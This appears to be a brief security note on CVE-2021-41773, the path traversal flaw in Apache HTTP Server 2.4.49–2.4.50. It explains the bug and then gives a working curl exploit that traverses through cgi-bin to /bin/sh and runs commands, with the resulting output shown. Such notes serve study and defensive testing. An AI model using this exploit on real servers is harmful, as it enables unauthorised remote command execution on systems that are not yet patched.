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# HTTP Server - CVE-2021-41773

A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49-2.4.50.

An attacker could use a <mark style="color:red;">path traversal attack</mark> to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts.

This issue only affects Apache 2.4.49 & 2.4.50 and not earlier versions.

```bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```